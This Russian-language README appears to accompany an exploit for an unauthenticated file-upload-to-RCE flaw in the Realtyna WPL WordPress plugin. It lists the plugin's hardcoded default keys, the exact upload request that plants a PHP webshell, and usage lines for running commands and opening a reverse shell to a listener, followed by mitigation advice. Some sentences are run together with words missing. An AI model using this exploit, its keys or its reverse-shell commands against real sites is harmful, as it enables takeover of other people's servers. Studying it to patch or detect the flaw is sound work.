
Эксплойт для неаутентифицированной произвольной загрузки файлов в плагине Realtyna WPL/Organic IDX для WordPress, объединяет загрузку PHP-вебшелла с RCE, поддерживает режимы выполнения команд и reverse shell.
Неаутентифицированная произвольная загрузка файла, приводящая к RCE, в Realtyna WPL / Organic IDX — плагине WordPress (real-estate-listing-realtyna-wpl ≤ 5.2.0).
Плагин регистрирует "I/O-сервис" в публичном хуке init WordPress, доступный
без аутентификации в корне сайта через ?wplview=io&wplformat=io. Единственный барьер — пара
статических, жёстко прописанных ключей по умолчанию, поставляемых в миграциях плагина (одинаковых на каждой
установке), при этом io_status включён по умолчанию:
public_key = U7hdbv673YhdjplzzX7wU7hdbv673YhdjplzzX7w
private_key = Eft76bdh0o2uyhJkbG3T
Команда set_property (libraries/io/mobile_application/set_property.php → )
сохраняет загруженный с помощью и , поэтому -вебшелл
можно разместить и выполнить от имени веб-пользователя.
wpl_file::uploadfile[]move_uploaded_file.phpreal-estate-listing-realtyna-wpl ≤ 5.2.0www-data)Только стандартная библиотека Python 3 — без зависимостей.
# run a command and print output
python3 exploit.py http://target/ -c id
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://target/ --shell 10.10.14.5:4444
POST /?wplview=io&wplformat=io&public_key=…&private_key=…&cmd=set_property&commands_directory=mobile_application&user_id=1
с multipart-полем file[] с именем image_<name>.php. Префикс image_ отбрасывается, поэтому файл
сохраняется как <name>.php.wp-content/uploads/WPL/<pid>/<name>.php, где <pid> — это
id объекта недвижимости, созданного запросом (ответ его не содержит). Инструмент
перебирает небольшие id объектов, чтобы найти шелл.…/<name>.php?c=<cmd>.Сайт на WordPress с активным плагином real-estate-listing-realtyna-wpl версии ≤ 5.2.0. Эндпоинт
отвечает на GET /?wplview=io&wplformat=io (I/O-сервис плагина).
Обновите плагин до версии ≥ 5.3.0, проверяйте расширения/MIME загружаемых файлов, никогда не выполняйте PHP из
wp-content/uploads и смените статические ключи I/O по умолчанию, используемые плагином.
Только для авторизованного тестирования безопасности и обучения. Используйте его только против систем, которыми вы владеете или имеете явное разрешение на тестирование.